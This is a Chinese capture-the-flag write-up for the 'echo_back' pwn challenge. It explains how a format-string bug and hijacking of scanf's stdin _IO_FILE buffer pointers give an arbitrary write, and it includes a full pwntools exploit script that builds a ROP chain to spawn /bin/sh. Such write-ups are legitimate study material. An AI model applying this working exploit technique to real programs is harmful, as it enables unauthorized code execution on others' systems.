0x1前期工作
首先checksec(我这里直接用运行时的截图了),64位程序,保护措施全开,值得注意的是,RELRO开启则无法修改got表。
ida反汇编,显然存在格式化字符串漏洞,但是nbytes是双字,限制了长度为8以下,因此需要其他技术。
0x2方法论
这道题运用了scanf的IO流劫持技术,具体来说就是通过覆盖stdin相关结构体 _IO_2_1_stdin(定义在libc库)中定义stdin输入缓冲区的指针,从而实现任意地址写入
当Linux新建一个进程时,会自动创建3个文件描述符0、1和2,分别对应标准输入、标准输出和错误输出 。
C库中创建与文件描述符对应的是文件指针
_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;
_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;
_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;
scanf读取stdin时依照读文件的方法,内部调用_IO_new_file_underflow函数。而该函数最终调用了_IO_SYSREAD系统调用来读取文件。在调用系统函数前,该函数同时进行了判断处理:
根据读取指针的位置和结束位置来判断缓冲区中是否还有可读取的数据。如果读取指针小于结束位置,说明缓冲区中还有数据可以读取,scanf等函数会直接从缓冲区中读取数据。即当_IO_read_ptr < _IO_read_end时,函数直接返回_IO_read_ptr。反之,则会进行一系列赋值操作,最终调用read的系统调用向_IO_buf_base中读入数据。
_IO_read_ptr、_IO_read_end、_IO_read_end等都是_IO_FILE结构体组成部分,即stdin、stdout、stderr中都包含这些指针。这个结构体如下所示,也称为_IO_2_1_stdin结构体:
_flags = -72540021,
_IO_read_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_read_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+132> "",
_IO_read_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_buf_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "\n",
_IO_buf_end = 0x7ffff7dd1964 <_IO_2_1_stdin_+132> "",
。。。。。。。
-
_IO_buf_base:表示输入缓冲区的起始地址。输入数据会被存储在这个缓冲区中,scanf等函数会从这里读取数据。
-
_IO_read_ptr:表示输入缓冲区的读取指针。它指向当前可读取的数据在缓冲区中的位置。
-
_IO_read_end:表示输入缓冲区的结束位置。它指向缓冲区中的最后一个可读取的数据的下一个位置。
控制了_IO_buf_base
与_IO_buf_end
就可以控制输入的长度(length = fp->_IO_buf_end - fp->_IO_buf_base
)和位置(_IO_buf_base
)
_IO_buf_base位于结构体中的第8个,所以,_IO_buf_base起始地址 = _IO_2_1_stdin_addr起始地址 + 8 * 7=起始地址+56=起始地址+0x38
0x3分析
libc中该结构地址在我的本地如下:
_IO_buf_base,即第8个地址在0x7ffff7ead8处。但是远程的该结构地址和我本地是不同的:
远程中_IO_buf_base低字节置0指向0x7ffff7dd1900,即第5个参数_IO_write_base
p64(0x83 + stdin) * 3 + p64(main_ret) + p64(main_ret + 0x18)将_IO_write_base、_IO_write_ptr、_IO_write_end指向原先_IO_buf_base指向的位置
*0x83来自于上图,就是还原指针内容,具体情况具体分析
_IO_buf_base指向main函数返回地址的位置main_ret,_IO_buf_end指向main_ret+0x18。此时写入缓冲区位于main_ret开始的0x18大小的地址空间。
p64(pop_rdi_addr) + p64(bin_sh) + p64(system)写入该空间,main返回时(exit功能触发)触发该rop链。
上面是远程的,本地的低位置0无法指向_IO_buf_base前面,从而用payload覆盖,因此可以考虑覆盖四个字节,用%16$hnp,然后覆盖一大串地址,并依次还原覆盖的指针
代码如下:
from pwn import *
r = process("./echo_back")
elf=ELF('./echo_back')
libc=ELF('./libc.so.6')
main = 0x000C6C #main 首地址
pop_rdi = 0x000d93 #garget相对地址
_IO_2_1_stdin_ = libc.symbols['_IO_2_1_stdin_']
def setName(name):
r.recvuntil("choice>> ")
r.sendline('1')
r.recvuntil("name:")
r.send(name)
def echo(content):
r.recvuntil("choice>> ")
r.sendline('2')
r.recvuntil("length:")
r.sendline('8')
r.send(content)
# get main return addr
echo("%19$p")
r.recvuntil("0x")
start_main = int(r.recvuntil('-').split(b'-')[0], 16) - 240 #这里是libc中__libc_start_call_main实际地址,注意每个人运行程序可能不一样,我的是+128,远程是240
libc_base = start_main - libc.symbols['__libc_start_main'] #libc基址
system = libc_base + libc.symbols['system'] #system函数实际地址
bin_sh = libc_base + libc.search(b'/bin/sh').__next__() #bin/sh实际地址
stdin = libc_base + _IO_2_1_stdin_ #_IO_2_1_stdin_实际地址
buf_base = stdin + 0x8 * 7 #缓冲区指针实际地址
# get echo return addr
echo("%13$p") #这里存放下一条指令,即下面图片中0xD08偏移位置的指令
r.recvuntil("0x")
#0x9c为相对main起始地址的偏移, 0xD08-0xc6c=0x9C
#即main_addr为main函数首条指令实际地址
main_addr = int(r.recvuntil('-').split(b'-')[0], 16) - 0x9C
elf_base = main_addr - main #程序实际基地址
pop_rdi_addr = elf_base + pop_rdi #实际garget地址
# get addr store return addr of main
echo("%12$p")
r.recvuntil("0x")
main_rbp = int(r.recvuntil('-').split(b'-')[0], 16) #main函数函数栈基址ebp
main_ret = main_rbp + 0x8 #main函数返回地址位置
setName(p64(buf_base))
echo('%16$hhn')#最低字节设为0,导致buf_base指定的缓冲区指向自身结构中相对靠前的位置方便覆盖
# change stdin
payload = p64(0x83 + stdin) * 3 + p64(main_ret) + p64(main_ret + 0x18)
#指针距离stdin开始的偏移量为0x38;指向据开始偏移0x83
r.sendlineafter('choice>>','2')
r.sendafter('length:',payload)
r.sendline('')
for i in range(0, len(payload) - 1):
r.sendlineafter('choice>>','2')
r.sendlineafter('length:','')
# ROP
r.sendlineafter('choice>>','2')
payload = p64(pop_rdi_addr) + p64(bin_sh) + p64(system)
r.sendafter('length:',payload)
r.sendline('')
r.sendlineafter('choice>>','3')
r.interactive()
对于printf执行时栈结构如下,值得注意的是,对于printf访问参数的位置与参数在栈中距栈顶的距离是不同的,即存在位于寄存器中的参数
这个偏移选定一个地址后通过断点+不断%k$p确定,这里是偏移是5
rbp存放main函数栈基址,位于第5+7=13个参数,
下一条指令位于第14个参数
涉及libc的地址位于第19个参数
下一条指令相对偏移是0xd08
0x4运行
本地没法运行,远程跑一下:
ps:这道题卡了我好久,本地ALSR结果不一致,别人的wp跑不了,只能一点一点自己啃。
另外感谢PWN技巧之攻防世界echo_back_echo_back 攻防_aptx4869_li的博客-优快云博客这篇文章给了我整体的技术思路